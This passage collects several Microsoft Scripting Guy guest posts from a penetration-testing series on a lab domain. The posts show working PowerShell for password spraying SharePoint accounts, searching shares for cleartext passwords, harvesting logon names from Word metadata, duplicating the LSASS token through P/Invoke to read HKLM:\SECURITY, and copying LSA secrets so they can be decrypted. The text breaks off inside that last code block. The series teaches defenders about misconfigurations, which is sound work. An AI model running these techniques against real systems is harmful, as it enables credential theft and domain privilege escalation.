
+ $webClient.DownloadString($url)

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException

    + FullyQualifiedErrorId : WebException

Because we used the wrong password, an error message is returned that tells us we are unauthorized. In other words, we guessed the wrong password.

We have a complete list of all the user accounts in the domain, so we can automate these steps and perform the same test on each domain account. We don’t want to perform multiple tests on the same account because it might lock out the account, so we’ll pick a commonly used password and hope for the best. In this example, we’ll use Password1. In the following example, the accounts retrieved from xp_cmdshell are stored in a .csv file. The .csv file is used as input to the Invoke-TSMedusa function.

PS > Import-Csv .\slqdump.csv |

Invoke-TSMedusa -Identity "http://sp01/SitePages/Home.aspx" -Password Password1 -Service Web | Select UserName, Password, Success

 

UserName                    Password                                      Success

--------                    --------                                      -------

user001                     Password1                                       False

user002                     Password1                                       False

user003                     Password1                                       False

user004                     Password1                                       False

user005                     Password1                                       False

user006                     Password1                                       False

user007                     Password1                                       False

user008                     Password1                                        True

The output from the function tells us that user008 has the password Password1. With a domain account, we can dig even deeper into the domain.

Downloads

  • The Invoke-TSMedusa function can be found in the Script Center Repository.
  • An extra script that was not specifically mentioned in today’s blog, Get-TSSqlSysLogin.ps1 is also available in the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec Tools site.

~Niklas

I want to thank Niklas for another great blog. Security Week will continue tomorrow with another blog by Niklas.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Discover Network Information from Shares

$
0
0

Summary: Guest blogger, Niklas Goude, shows how to use Windows PowerShell to discover valuable network information from shares and file metadata.

Microsoft Scripting Guy, Ed Wilson, is here. We now come to Part 3 of Security Week with another guest blog by Niklas Goude.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

This is the third blog in a series of five, and we will talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 3: Shares and metadata

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

As soon as an attacker has access to a domain account, the attacker can start to collect information by asking questions to a service in various ways. One example would be to display all accounts that are available in the domain, determine the domain policy, search through shares for sensitive data and anything else that would help the attacker finding more privileged accounts.

In the previous scenario, we managed to get our hands on a domain user’s logon name and password. In today’s scenario, we will use the domain account and focus on how to enumerate domain groups, policies, and shared resources by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.

The server, SRV01, has a share where the domain users have access. The share is used to back up Word documents, files, and other data. The Word documents have simply been copied to the share.

For mitigation information, please see Remove hidden data and personal information by inspecting documents.

Code

With an actual domain account and password available, we can start searching for more information. The first step is to start Windows PowerShell on our attack machine by using the runas command with the /netonly switch. The syntax of this command is shown here.

PS > runas /netonly /user:hacme\user008 powershell_ise.exe
Enter the password for hacme\user008

When prompted for a password, we enter the password that we discovered in a previous post. Next, we can use the WinNT provider and ask for the default domain password policy settings.

PS > $domain = [adsi]("WinNT://hacme.local")

$domain.Properties.Keys | Foreach {

  @{$_ = [string]$domain.Properties.Item($_) }

}

 

Name                           Value                                          

----                           -----                                          

MinPasswordLength              7                                              

MaxPasswordAge                 3628800                                        

MinPasswordAge                 86400                                          

PasswordHistoryLength          24                                             

Name                           hacme.local                                    

AutoUnlockInterval             1800                                           

LockoutObservationInterval     1800                                            

MaxBadPasswordsAllowed         0  

The output tells us that the minimum password length is 7 characters. It also displays that the maximum bad passwords allowed is set to 0, meaning that the system does not implement an account lockout policy. This means that we can make as many brute force attempts as we want without worrying about locking out an account.

One of our goals is to find high-privileged accounts, so let’s take a peek at the members of the Domain Admin group by using ADSI:

PS > $dAdmin = [adsi]"LDAP://CN=Domain Admins,CN=Users,DC=hacme,DC=local"

$dAdmin.member

CN=SQL-Serviceaccount,OU=ServiceAccounts,OU=Hacme,DC=hacme,DC=local

CN=Administrator,CN=Users,DC=hacme,DC=local

 The output tells us that there are three members of the Domain Admin group. We’ll get back to those accounts later.

For now, let us move on and look at enumerating shares and searching through files for sensitive data, such as connection strings and passwords. Because we are running the Windows PowerShell ISE by using a domain account, we can use dir (alias for Get-ChildItem) with the –Recurse switch to get the files and folders from a network drive.

To find out if a server is sharing any folders, we simply type dir \\SRV01\ and let the IntelliSense do the work for us. This technique is shown here.

Isn’t IntelliSense wonderful! Based on the information displayed in the previous example, we see that in addition to the hidden shares. We can test accessing a share by using the Get-ChildItem cmdlet. If our account has access, the command outputs the files and folders that we have access to.

PS > dir \\srv01\Share -Recurse | Select FullName

FullName                                                                      

--------                                                                      

\\srv01\Share\folder                                                          

\\srv01\Share\Document001.docx                                                

\\srv01\Share\Document002.docx                                                

\\srv01\Share\Document003.docx                                                

\\srv01\Share\Document004.docx                                                

\\srv01\Share\Document005.docx                                                 

\\srv01\Share\testscript.ps1                                                  

\\srv01\Share\folder\Foo                                                      

\\srv01\Share\folder\old.vbs                                                   

\\srv01\Share\folder\Foo\New Text Document.txt    

It seems as if our account has access to the share. The share contains a couple of Word documents, a .ps1 file, a .vbs file, an .xml file, and a .txt file. To find out if any of the files contain sensitive data, we can pipe the objects to the Select-String cmdlet and set up a pattern of interest. In this example, we will search for user name and password. We will also filter out the files with the extensions .ps1, .vbs, .xml, and .txt.

PS > dir \\srv01\Share -Recurse -Include *.txt,*.vbs,*.ps1,*.xml |

Select-String -Pattern "username|password"

 

\\srv01\Share\folder\Input.xml:5:            <Username>hacme\spaccount</Username>

\\srv01\Share\folder\Input.xml:6:            <Password>Summer2012!</Password>

\\srv01\Share\testscript.ps1:1:# Get Username and password

If we study the output, we notice that someone left a Windows PowerShell script with a comment about user name and password and an .xml file that contains a user name and password in clear text. Let’s take a closer look by adding the –Context parameter and look at the lines before and after the matched lines.

PS > dir \\srv01\Share -Recurse -Include *.txt,*.vbs,*.ps1,*.xml |

Select-String -Pattern "username|password" -Context 2,2

 

  \\srv01\Share\folder\Input.xml:3:        <Passphrase>P@ssPhrase</Passphrase>

  \\srv01\Share\folder\Input.xml:4:        <Account AddToLocalAdminsDuringSetup="true">>

 \\srv01\Share\folder\Input.xml:5:            <Username>hacme\spaccount</Username>>

  \\srv01\Share\folder\Input.xml:6:            <Password>Summer2012!</Password>

  \\srv01\Share\folder\Input.xml:7:            <Email>spaccount@hacme.local</Email>

  \\srv01\Share\folder\Input.xml:8:        </Account>>

  \\srv01\Share\testscript.ps1:1:# Get Username and password

  \\srv01\Share\testscript.ps1:2:$cred = Get-Credential

  \\srv01\Share\testscript.ps1:3:gwmi WIn32_OperatingSystem -COmputerName sp01 -Credential $cred

The Windows PowerShell script stored on the share uses Get-Credential as input, so it doesn’t tell us much. However, the input.xml file seems to be a configuration file for some product (probably SharePoint because the environment only uses three servers). What is even more interesting is that the .xml file has a line that says: <Account AddToLocalAdminsDuringSetupe=”true”>. We will investigate local admin accounts in the next post.

The share also contained some Word documents, and sometimes Word documents can contain metadata that describes user information such as a user’s logon name. Because we are already on the domain, this is not very interesting for us at the moment—we can simply enumerate the domain and retrieve all the domain accounts. However, this would be useful if we failed in any of our previous attacks.

There are a lot of public Word documents available on the Internet, and by simply looking at the metadata, we could find users logon names. Let us see how that works. In this example we’ll simply copy the Word documents from the share to a local folder and start peeking at the metadata.

PS > dir \\srv01\Share -Recurse -Include *.docx |

Copy-Item -Destination C:\temp

If we want to read the metadata, we can use the Com object Word.Application. The Com object requires that Word is installed on the system. First we create an instance of Word.Applciation. We also set the visible property to $false.

PS > $word = New-Object -comobject Word.Application

PS > $word.Visible = $false 

Next, we open the document by using the Open() method.

PS > $openDoc = $word.Documents.Open("C:\temp\Document001.docx") 

Then, we access the XML, and store the core.xml information in a variable.

PS > $docX = [xml]$OpenDoc.WordOpenXML

PS > $coreXML = $docX.package.part | Where { $_.name -eq "/docProps/core.xml" }

And now we can simply take a peek in the CoreProperties, which may give us information regarding user’s logon names.

PS > $coreXML.xmlData.coreProperties

 

cp             : http://schemas.openxmlformats.org/package/2006/metadata/core-properties

dc             : http://purl.org/dc/elements/1.1/

dcterms        : http://purl.org/dc/terms/

dcmitype       : http://purl.org/dc/dcmitype/

xsi            : http://www.w3.org/2001/XMLSchema-instance

creator        : Jean-Luc Picard (user001)

lastModifiedBy : Jean-Luc Picard (user001)

revision       : 1

created        : created

modified       : modified 

Notice how the metadata displays the user’s first name, last name, and logon name.

Now, let’s script it and repeat it on all the downloaded documents. In this example, we’ll use the Get-TSWordXMetadata function.

PS > dir C:\temp | Get-TSWordXMetadata |

Select Creator, LastModifiedBy

 

Creator                                  LastModifiedBy                         

-------                                  --------------                          

Jean-Luc Picard (user001)                Jean-Luc Picard (user001)              

William Riker (user002)                  William Riker (user002)                

Geordi LaForge (user003)                 Geordi LaForge (user003)               

Worf Son of Mogh (user004)               Worf Son of Mogh (user004)             

Beverly Crusher (user005)                Beverly Crusher (user005) 

 Download

  • The Get-TSWordXMetadata function can be downloaded from the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec Tools site.

~Niklas

I want to thank Niklas for another very interesting blog. Join us tomorrow for another exciting blog as Security Week continues.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Duplicate Process Tokens via P/Invoke

$
0
0

Summary: Guest blogger, Niklas Goude, shows how to use P/Invoke to duplicate process tokens from LSASS to elevate privileges.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have Part 4 of our five part security series written by guest blogger, Niklas Goude.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

This is the fourth blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 4: Beyond local admin

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

In many cases, attackers will gain access to an account with limited privileges on a system. Attackers will try various methods to escalate their privileges to gain administrative permissions on a system. The ultimate goal is to impersonate the system.

In the previous scenario, we managed to get our hands on a domain user’s logon name and password, which was possibly, the local admin on a server. In this scenario, we will focus on what we can do as a local administrator on a system and how to get even more privileges, allowing us to read data from HKLM:\Security. In the follow up scenario, we’ll see how we can benefit from privileges beyond local admin.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the SP01, where we now have an account that is a member of the local administrators group on the server.

Code

As soon as the attacker retrieves the account name and password for an account that is a member of the local administrators group on a server, the attacker can start pillaging the system for information. In this scenario, the system is running SQL Server and SharePoint 2010.

Our goal in this scenario is to gain access to HKLM:\Security. Even if we’re a member of the local administrators account, we can’t read the registry keys from HKLM:\Security. If we try to do it by using Windows PowerShell running an elevated command prompt with an account that is a member of the local administrators group, we get a big red error message.

PS > dir hklm:\

  

    Hive: HKEY_LOCAL_MACHINE

 

 SKC  VC Name                           Property                                 

---  -- ----                           --------                                  

  2   0 BCD00000000                    {}                                       

  6   4 COMPONENTS                     {StoreFormatVersion, StoreArchitecture,...

  4   0 HARDWARE                       {}                                       

  1   0 SAM                            {}                                       

Get-ChildItem : Requested registry access is not allowed.

    + CategoryInfo          : PermissionDenied: (HKEY_LOCAL_MACHINE\SECURITY:String) [Get-ChildItem], SecurityException

    + FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.GetChildItemCommand

 

 11   0 SOFTWARE                       {}                                        

  9   0 SYSTEM                        

To access the information that is stored in HKLM:\Security, we have to execute the command as the system account or give our account the same privileges as the system account. To execute commands as the system account, we could simply use psexec.exe—but that would not make a big nice blog post, would it? Therefore, in our case, we will try to give our account the same privileges as the system account. We can achieve this by duplicating the tokens of a process running as the system account, such as the Local Security and Authority Subsystem Service (LSASS).

Windows PowerShell can access functions from the Windows API as you would in C#. The .NET Framework lets us access the Windows functions through a technique called Platform Invocation Services (P/Invoke). The Add-Type cmdlet in Windows PowerShell builds on this support.

Step one is knowing what we need. A great resource that demonstrates how to call a specific Windows API from .NET is Pinvoke.net. If we search for Windows PowerShell we’ll get a couple of nice examples that demonstrate how to use the P/Invoke technique in Windows PowerShell.

Image of examples

What we want to achieve is a little bit more difficult because we need to combine a couple of different functions and structures.

The following list shows the functions we need:

  • DuplicateToken
  • SetThreadToken
  • OpenProcessToken
  • LookupPrivilegeValue
  • GetCurrentProcess
  • AdjustTokenPrivileges

If we search for one of these functions, and then click into the definition, we will see a C# signature. This is what we want to use in Windows PowerShell. 

Image of code

We can copy the signature and place it in a here string. We want to call it from a script, so we have to make one minor change: replace static with public.

@'

[DllImport("advapi32.dll", SetLastError=true)]

  [return: MarshalAs(UnmanagedType.Bool)]

    public static extern bool OpenProcessToken(IntPtr ProcessHandle,

      UInt32 DesiredAccess, out IntPtr TokenHandle);

'@

Because we need a lot of different C# signatures, we have to go through each of the functions described and copy the signatures into our here string. Here is the complete code that we want to grab from P/Invoke. This time we’ll store it in a variable.

$signature = @"

    [StructLayout(LayoutKind.Sequential, Pack = 1)]

     public struct TokPriv1Luid

     {

         public int Count;

         public long Luid;

         public int Attr;

     }

 

    public const int SE_PRIVILEGE_ENABLED = 0x00000002;

    public const int TOKEN_QUERY = 0x00000008;

    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;

 

    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;

    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;

    public const UInt32 TOKEN_DUPLICATE = 0x0002;

    public const UInt32 TOKEN_IMPERSONATE = 0x0004;

    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;

    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;

    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;

    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;

    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);

    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |

      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |

      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |

      TOKEN_ADJUST_SESSIONID);

 

    public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";

    public const int ANYSIZE_ARRAY = 1;

 

    [StructLayout(LayoutKind.Sequential)]

    public struct LUID

    {

      public UInt32 LowPart;

      public UInt32 HighPart;

    }

 

    [StructLayout(LayoutKind.Sequential)]

    public struct LUID_AND_ATTRIBUTES {

       public LUID Luid;

       public UInt32 Attributes;

    }

 

     public struct TOKEN_PRIVILEGES {

      public UInt32 PrivilegeCount;

      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]

      public LUID_AND_ATTRIBUTES [] Privileges;

    }

 

    [DllImport("advapi32.dll", SetLastError=true)]

     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int

        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);

  

    [DllImport("advapi32.dll", SetLastError=true)]

    [return: MarshalAs(UnmanagedType.Bool)]

    public static extern bool SetThreadToken(

      IntPtr PHThread,

      IntPtr Token

    );

 

    [DllImport("advapi32.dll", SetLastError=true)]

     [return: MarshalAs(UnmanagedType.Bool)]

      public static extern bool OpenProcessToken(IntPtr ProcessHandle,

       UInt32 DesiredAccess, out IntPtr TokenHandle);

 

    [DllImport("advapi32.dll", SetLastError = true)]

    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

 

    [DllImport("kernel32.dll", ExactSpelling = true)]

    public static extern IntPtr GetCurrentProcess();

 

    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]

     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,

     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

"@

Next, we pass the variable to Add-Type. We also set a Name and Namespace.

PS > Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv

PS > $adjPriv = [AdjPriv.AdjPriv]

Now we can start using the functions. First, we look up the value of SeDebugPrivilege.

[long]$luid = 0

 

$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid

$tokPriv1Luid.Count = 1

$tokPriv1Luid.Luid = $luid

$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED

 

$adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)

When setting the SeDebugPrivilege privilege on the running process, we can obtain the handle of any running process. This process is described in the Microsoft Support topic, How To Use the SeDebugPrivilege to Acquire Any Process Handle.

But before we can adjust the token, we have to get the current process token as shown here:

[IntPtr]$htoken = [IntPtr]::Zero

$adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) 

Now that we have the current process token, we can adjust it.

$adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 

The next step is to duplicate the token of LSASS. Step one is to retrieve the process handle. We can do this by using the Get-Process cmdlet:

PS > $process = (Get-Process -Name lsass)

PS > $process.Handle

1692 

Now we use the handle to open the process token:

[IntPtr]$hlsasstoken = [IntPtr]::Zero

$adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)

Next, we duplicate the LASS token:

[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero

$adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)

Finally, we set the duplicated token to our current process:

$adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)            

Now we can type dir HKLM:\SECURITY without getting an error message!

PS > dir HKLM:\SECURITY

  

    Hive: HKEY_LOCAL_MACHINE\SECURITY

 

Name                           Property                                          

----                           --------                                          

Cache                          NL$1       : {26, 0, 10, 0...}                    

                               NL$2       : {16, 0, 10, 0...}                    

                               NL$3       : {0, 0, 0, 0...}                      

                               NL$4       : {0, 0, 0, 0...}                      

                               NL$5       : {0, 0, 0, 0...}                      

                               NL$6       : {0, 0, 0, 0...}                      

                               NL$7       : {0, 0, 0, 0...}                      

                               NL$8       : {0, 0, 0, 0...}                      

                               NL$9       : {0, 0, 0, 0...}                      

                               NL$10      : {0, 0, 0, 0...}                      

                               NL$Control : {4, 0, 1, 0...}                      

Policy                         (default) :                                       

Recovery                                                                         

RXACT                          (default) : {1, 0, 0, 0...}                       

SAM                            C                   : {7, 0, 1, 0...}             

                               ServerDomainUpdates : {254, 1}  

 We could also download psexec.exe and type the following:

PS > .\psexec.exe -i -s powershell.exe

But where’s the fun in that?

Another option is to place the code that is described in this scenario and simply call the function. The following example demonstrates the Enable-TSDuplicateToken function:

PS > Enable-TSDuplicateToken

In the last scenario, we’ll talk about why we went to all this trouble of accessing the HKLM:\Security.

Downloads

  • The function Enable-TSDuplicate Token can be downloaded from the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec website.

~Niklas

Once again, Niklas, great blog. Join us tomorrow for the exciting conclusion to our Security Week series.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Decrypt LSA Secrets from the Registry

$
0
0

Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to decrypt LSA Secrets from the registry to gain access to domain admin rights.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have the exciting conclusion to the Security Week blogs by Niklas Goude.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

This is the last blog in a series of five. We’ve been talking about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 5: Secret service

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

In many cases, attackers will gain access to an account with limited privileges on a system. Attackers will try various methods to escalate their privileges to gain administrative permissions on a system. The ultimate goal is to impersonate the system. When attackers gain local administrative permissions on any system, they can extract active logon sessions, hashes, and service account passwords.

In this scenario we will focus on how to extract service account passwords by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the SP01, where we now have an account that is a member of the local administrators group on the server.

Note   The Service accounts that are configured for SQL Server and SharePoint 2010 in today’s scenario have not followed the official Microsoft recommendations as explained in Security Considerations for a SQL Server Installation, and therefore they are vulnerable. Of course, if the service accounts had followed the official recommendations, the attacks that are described in this blog would fail.

Code

The Local Security Authority (LSA) in Windows is designed to manage a systems security policy, auditing, logging users on to the system, and storing private data such as service account passwords.

The LSA secrets are stored under the HKLM:\Security\Policy\Secrets key. This key contains additional subkeys that store encrypted secrets. The HKLM:\Security\Policy\Secrets key is not accessible from regedit or other tools by default, but we can access it by running the Enable-TSDuplicateToken function described in yesterday’s blog, Use PowerShell to Duplicate Process Tokens via P/Invoke.

The secrets are available in the 32-bit registry. Step one is to start an elevated 32-bit Windows PowerShell prompt.

Next, we run the Enable-TSDuplicateToken function to gain access to HKLM:\SECURITY.

PS > Enable-TSDuplicateToken

Now let’s take a look at what we can find under the HKLM:\Security\Policy\Secrets key.

PS > dir HKLM:\SECURITY\Policy\Secrets

 

    Hive: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

 

Name                           Property                                          

----                           --------                                           

$MACHINE.ACC                   (default) : 0                                     

DefaultPassword                (default) : 0                                     

DPAPI_SYSTEM                   (default) : 0                                      

L$ASP.NETAutoGenKeys2.0.50727. (default) : 0                                     

5420                                                                             

NL$KM                          (default) : 0                                     

_SC_FIMSynchronizationService  (default) : 0                                     

_SC_MsDtsServer100             (default) : 0                                     

_SC_MSSQLSERVER                (default) : 0                                     

_SC_MSSQLServerOLAPService     (default) : 0                                     

_SC_OSearch14                  (default) : 0                                     

_SC_ReportServer               (default) : 0                                     

_SC_SPTimerV4                  (default) : 0                                     

_SC_SPUserCodeV4               (default) : 0                                     

_SC_SQLSERVERAGENT             (default) : 0                                     

_SC_WebAnalyticsService        (default) : 0                                      

Notice how some of the key names start with _SC_ followed by a service name. Let’s see what one of these keys contains.

PS > cd HKLM:\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT

PS > dir

 

    Hive: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT

 

Name                           Property                                          

----                           --------                                          

CupdTime                       (default) : {215, 102, 54, 67...}                 

CurrVal                        (default) : {0, 0, 0, 1...}                       

OldVal                         (default) : {}                                    

OupdTime                       (default) : {118, 5, 52, 67...}                   

SecDesc                        (default) : {1, 0, 4, 128...}   

The key contains five keys:

  • CupdTime: Last update time
  • CurrVal: Current encrypted value of the secret
  • OldVal: Previous value of the secret
  • OupdTime: Previous update time
  • SecDesc: Security descriptor

So, the service account secrets are stored and encrypted in the registry. We can read them (running as system or by duplicating the tokens from a system process), but we can’t decrypt them as is. The only way we can decrypt the values is if we own them. The simplest way would be to copy the values into a temporary key. This technique is shown here.

PS > mkdir HKLM:\SECURITY\Policy\Secrets\MySecret

 

$values = "CurrVal","OldVal","OupdTime","CupdTime","SecDesc"

$values | ForEach-Object {

 $copyFrom = "HKLM:\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT\" + $_

 $copyTo = "HKLM:\SECURITY\Policy\Secrets\MySecret\" + $_

 mkdir $copyTo | Out-Null

 

 $item = Get-ItemProperty $copyFrom

 Set-ItemProperty -Path $copyTo -Name '(default)' -Value $item.'(default)'

}

In this example, we create a temporary key, MySecrets, and copy each key and its value to the temporary key. To read the encrypted secrets, we need to look at the C# signature of the following functions:

  • LsaRetrievePrivateData
  • LsaStorePrivateData
  • LsaOpenPolicy
  • LsaNtStatusToWinError
  • LsaClose
  • LsaFreeMemory

If we search Pinvoke.net for one of these functions, and then click into the definition, we’ll see a C# signature. This is what we want to use in Windows PowerShell.

Because we need a lot of different C# signatures, we have to go through each of the functions described and copy the signatures into our here string. Here’s the complete code that we want to grab from P/Invoke, slightly modified because we want to call it from a script:

$signature = @"

[StructLayout(LayoutKind.Sequential)]

public struct LSA_UNICODE_STRING

{

  public UInt16 Length;

  public UInt16 MaximumLength;

  public IntPtr Buffer;

}

 

[StructLayout(LayoutKind.Sequential)]

public struct LSA_OBJECT_ATTRIBUTES

{

  public int Length;

  public IntPtr RootDirectory;

  public LSA_UNICODE_STRING ObjectName;

  public uint Attributes;

  public IntPtr SecurityDescriptor;

  public IntPtr SecurityQualityOfService;

}

 

public enum LSA_AccessPolicy : long

{

  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,

  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,

  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,

  POLICY_TRUST_ADMIN = 0x00000008L,

  POLICY_CREATE_ACCOUNT = 0x00000010L,

  POLICY_CREATE_SECRET = 0x00000020L,

  POLICY_CREATE_PRIVILEGE = 0x00000040L,

  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,

  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,

  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,

  POLICY_SERVER_ADMIN = 0x00000400L,

  POLICY_LOOKUP_NAMES = 0x00000800L,

  POLICY_NOTIFICATION = 0x00001000L

}

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaRetrievePrivateData(

  IntPtr PolicyHandle,

  ref LSA_UNICODE_STRING KeyName,

  out IntPtr PrivateData

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaStorePrivateData(

  IntPtr policyHandle,

  ref LSA_UNICODE_STRING KeyName,

  ref LSA_UNICODE_STRING PrivateData

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaOpenPolicy(

  ref LSA_UNICODE_STRING SystemName,

  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,

  uint DesiredAccess,

  out IntPtr PolicyHandle

);

 

